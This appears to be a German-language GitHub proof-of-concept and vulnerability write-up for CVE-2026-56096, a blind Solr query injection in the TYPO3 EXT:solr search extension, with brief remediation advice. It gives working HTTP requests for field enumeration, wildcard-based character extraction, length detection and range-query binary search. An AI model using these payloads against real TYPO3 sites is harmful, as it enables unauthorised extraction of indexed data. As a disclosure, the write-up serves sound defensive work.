yairhinkis/cve-2026-56096Proof of Concept und technischer Write-up für CVE-2026-56096, eine blinde Solr-Query-Injection in TYPO3 EXT:solr, die unauthentifizierte Feld-Enumeration und Datenextraktion ermöglicht.
Eine architektonische Sicherheitslücke wurde in der offiziellen TYPO3 Apache Solr-Erweiterung (EXT:solr / apache-solr-for-typo3/solr) entdeckt. Das Problem ermöglicht nicht authentifizierten Remote-Angreifern, beliebige Solr/Lucene-Abfragesyntax über den Suchparameter tx_solr[q] einzuschleusen, was eine unbefugte blinde Feldaufzählung und vollständige Metadatenextraktion aus dem Suchindex ermöglicht.
EXT:solr (Suchparameter: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NDie Erweiterung EXT:solr akzeptiert benutzerseitig bereitgestellte Suchbegriffe über den Parameter tx_solr[q] und leitet diese an die Apache Solr-Engine weiter. Konstruktionsbedingt erlaubt die Erweiterung bestimmte Abfrageoperatoren – wie Wildcards (*), Einzelzeichen-Wildcards (?), Feldselektoren (:) und Bereichsabfragen ([a TO z]) –, um legitime Funktionalität wie facettierte Filterung zu unterstützen.
Da diese Zeichen direkt an die Backend-Abfragekonstruktion übergeben wurden, ohne eine durchsetzende Whitelist oder Abstraktionsschicht für Abfragen, kann ein Angreifer feldspezifische Syntax bereitstellen, um die beabsichtigten Suchgrenzen zu umgehen. Dies ermöglicht nicht authentifizierten Benutzern, interne Solr-Felder direkt abzufragen und Indexdaten mithilfe boolean-basierter blinder Techniken zu extrahieren.
field:*Durch Anhängen einer Wildcard an einen beliebigen oder vermuteten Feldnamen kann ein Angreifer überprüfen, ob das Feld im Schema existiert:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
Wenn das Feld existiert, verarbeitet Solr die Abfrage über alle übereinstimmenden Datensätze (was oft unterschiedliche Antwortcodes oder volumenbezogene Verhaltensweisen auslöst), was eine automatisierte wortlistenbasierte Feldaufzählung ermöglicht.
Angreifer können sensible Feldwerte Zeichen für Zeichen mithilfe boolescher Inferenz extrahieren:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Liefert Suchtreffer (Wert beginnt mit 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Wert beginnt nicht mit 'b')
?-OperatorDer Einzelzeichen-Wildcard-Operator (?) kann die exakte Länge einer gespeicherten Zeichenkette bestimmen, bevor mit der Zeicheniteration begonnen wird:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Prüft auf 12+ Zeichen)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Prüft auf 13+ Zeichen)
[a TO z])Bereichsabfragen ermöglichen eine binäre Suchextraktion auf dem Anfangszeichen, wodurch die benötigten Anfragen von 26 auf ~5 pro Zeichenposition reduziert werden:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Bestimmt, ob das Zeichen im Bereich 'a'-'m' liegt
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Bestimmt, ob das Zeichen im Bereich 'n'-'z' liegt
Die Kombination von Längenerkennung, Bereichsabfragen und Präfix-Wildcards ermöglicht eine vollständige Feldextraktion mit minimalem Anfrageaufwand.
EXT:solr-Suchendpunkt verwenden.Eine globale Zeichenmaskierung ist unzureichend, da Operatoren wie * und : beabsichtigte Suchfunktionen erfüllen. Die Behebung erfordert eine Whitelist und ein Parsing-Modell auf Anwendungsebene:
[email protected]) übermittelt.